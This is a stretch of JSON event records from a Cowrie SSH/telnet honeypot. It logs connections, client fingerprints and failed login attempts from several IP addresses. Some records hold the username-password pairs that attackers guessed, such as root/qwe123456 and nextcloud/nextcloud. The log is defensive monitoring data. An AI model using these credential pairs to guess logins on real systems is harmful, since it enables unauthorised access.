{"eventid":"cowrie.login.failed","username":"root","password":"daniil","message":"login attempt [root/daniil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:51.154432Z","src_ip":"103.98.149.87","session":"84bc4d913bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161981582642,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:52.491894Z","src_ip":"176.65.139.118","session":"4de68ab036aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:53.090463Z","src_ip":"103.98.149.87","session":"84bc4d913bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50602,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63bcf1067ed","protocol":"telnet","message":"New connection: 152.42.224.71:50602 (10.17.0.5:23) [session: c63bcf1067ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:53.570848Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56fa791f9e1","protocol":"telnet","message":"New connection: 152.42.224.71:50610 (10.17.0.5:23) [session: b56fa791f9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:54.064972Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54812,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c027616bb4","protocol":"telnet","message":"New connection: 152.42.224.71:54812 (10.17.0.5:23) [session: 18c027616bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:54.100267Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e487133db61","protocol":"telnet","message":"New connection: 152.42.224.71:50616 (10.17.0.5:23) [session: 6e487133db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:57.628362Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48554,"dst_ip":"159.203.135.109","dst_port":22,"session":"5baee679e93e","protocol":"ssh","message":"New connection: 31.40.204.166:48554 (159.203.135.109:22) [session: 5baee679e93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:59.886384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:22:59.918458Z","src_ip":"31.40.204.166","session":"5baee679e93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:00.013605Z","src_ip":"31.40.204.166","session":"5baee679e93e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:00.604015Z","src_ip":"31.40.204.166","session":"5baee679e93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:01.817175Z","src_ip":"31.40.204.166","session":"5baee679e93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcec03d20d2d","protocol":"telnet","message":"New connection: 152.42.224.71:39370 (10.17.0.5:23) [session: fcec03d20d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:04.218700Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40442,"dst_ip":"10.17.0.5","dst_port":23,"session":"8465e03aeb54","protocol":"telnet","message":"New connection: 152.42.224.71:40442 (10.17.0.5:23) [session: 8465e03aeb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:06.894694Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40972,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1d9380a1e8","protocol":"ssh","message":"New connection: 31.40.204.166:40972 (159.203.135.109:22) [session: ca1d9380a1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:12.183604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:12.199410Z","src_ip":"31.40.204.166","session":"ca1d9380a1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:12.310570Z","src_ip":"31.40.204.166","session":"ca1d9380a1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.37576174736023,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:12.475913Z","src_ip":"152.42.224.71","session":"18c027616bb4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:12.990007Z","src_ip":"31.40.204.166","session":"ca1d9380a1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:14.214517Z","src_ip":"31.40.204.166","session":"ca1d9380a1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40446,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26d27750aa4","protocol":"telnet","message":"New connection: 152.42.224.71:40446 (10.17.0.5:23) [session: b26d27750aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:15.364290Z"}
{"eventid":"cowrie.session.closed","duration":120.00211143493652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:15.409614Z","src_ip":"152.42.224.71","session":"d17c0b0f57ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.185797452926636,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:16.150761Z","src_ip":"152.42.224.71","session":"13591772e843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":47742,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa61c53a73a5","protocol":"telnet","message":"New connection: 176.65.139.118:47742 (159.203.135.109:23) [session: fa61c53a73a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:17.250773Z"}
{"eventid":"cowrie.session.closed","duration":50.57837891578674,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:20.711343Z","src_ip":"152.42.224.71","session":"135419e0e6bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39182,"dst_ip":"10.17.0.5","dst_port":23,"session":"e780c1383cc3","protocol":"telnet","message":"New connection: 152.42.224.71:39182 (10.17.0.5:23) [session: e780c1383cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:20.721962Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39192,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a6b09e7546","protocol":"telnet","message":"New connection: 152.42.224.71:39192 (10.17.0.5:23) [session: 60a6b09e7546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:21.265809Z"}
{"eventid":"cowrie.session.closed","duration":45.993892192840576,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:22.391333Z","src_ip":"152.42.224.71","session":"6eacae94a731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49858,"dst_ip":"159.203.135.109","dst_port":22,"session":"760dd5ad7084","protocol":"ssh","message":"New connection: 31.40.204.166:49858 (159.203.135.109:22) [session: 760dd5ad7084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:24.314912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:24.597681Z","src_ip":"31.40.204.166","session":"760dd5ad7084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:24.601562Z","src_ip":"31.40.204.166","session":"760dd5ad7084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"Vision2","message":"login attempt [Administrator/Vision2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:25.014406Z","src_ip":"176.65.139.118","session":"fa61c53a73a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:25.581583Z","src_ip":"31.40.204.166","session":"760dd5ad7084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:26.784859Z","src_ip":"31.40.204.166","session":"760dd5ad7084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1edb32957875","protocol":"telnet","message":"New connection: 152.42.224.71:50372 (10.17.0.5:23) [session: 1edb32957875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:27.428101Z"}
{"eventid":"cowrie.session.closed","duration":46.992999792099,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:27.944101Z","src_ip":"152.42.224.71","session":"0bbfae49879c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.028991937637329,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:29.279653Z","src_ip":"176.65.139.118","session":"fa61c53a73a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.40579724311829,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:29.336541Z","src_ip":"152.42.224.71","session":"643ac240f18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6e0f82c8d1","protocol":"telnet","message":"New connection: 176.65.139.118:47940 (159.203.135.109:23) [session: 6a6e0f82c8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:29.415974Z"}
{"eventid":"cowrie.session.closed","duration":37.115440368652344,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:30.686149Z","src_ip":"152.42.224.71","session":"c63bcf1067ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.254664659500122,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:31.670499Z","src_ip":"176.65.139.118","session":"6a6e0f82c8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54586,"dst_ip":"159.203.135.109","dst_port":23,"session":"79341c57e9c4","protocol":"telnet","message":"New connection: 176.65.139.118:54586 (159.203.135.109:23) [session: 79341c57e9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:31.748675Z"}
{"eventid":"cowrie.session.closed","duration":37.47072219848633,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:35.098987Z","src_ip":"152.42.224.71","session":"6e487133db61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.50696349143982,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:36.571847Z","src_ip":"152.42.224.71","session":"b56fa791f9e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:37.450126Z","src_ip":"176.65.139.118","session":"79341c57e9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0661385d089","protocol":"ssh","message":"New connection: 31.40.204.166:38426 (159.203.135.109:22) [session: e0661385d089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:37.788933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:37.798862Z","src_ip":"31.40.204.166","session":"e0661385d089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:37.917117Z","src_ip":"31.40.204.166","session":"e0661385d089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:38.586432Z","src_ip":"31.40.204.166","session":"e0661385d089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:39.813915Z","src_ip":"31.40.204.166","session":"e0661385d089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.53398036956787,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:40.428573Z","src_ip":"152.42.224.71","session":"8465e03aeb54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.965491533279419,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:40.714074Z","src_ip":"176.65.139.118","session":"79341c57e9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":57994,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ee32271dee","protocol":"telnet","message":"New connection: 176.65.139.118:57994 (159.203.135.109:23) [session: e2ee32271dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:40.792499Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":36039,"dst_ip":"10.17.0.5","dst_port":22,"session":"f35bf89469ca","protocol":"ssh","message":"New connection: 179.176.210.17:36039 (10.17.0.5:22) [session: f35bf89469ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:41.748561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:41.753668Z","src_ip":"179.176.210.17","session":"f35bf89469ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:41.907475Z","src_ip":"179.176.210.17","session":"f35bf89469ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.47791290283203,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:42.393665Z","src_ip":"152.42.224.71","session":"2b11e41b4ebe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:42.553908Z","src_ip":"179.176.210.17","session":"f35bf89469ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:43.710194Z","src_ip":"179.176.210.17","session":"f35bf89469ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39274,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec81d133a43","protocol":"telnet","message":"New connection: 152.42.224.71:39274 (10.17.0.5:23) [session: 3ec81d133a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:23:44.321211Z"}
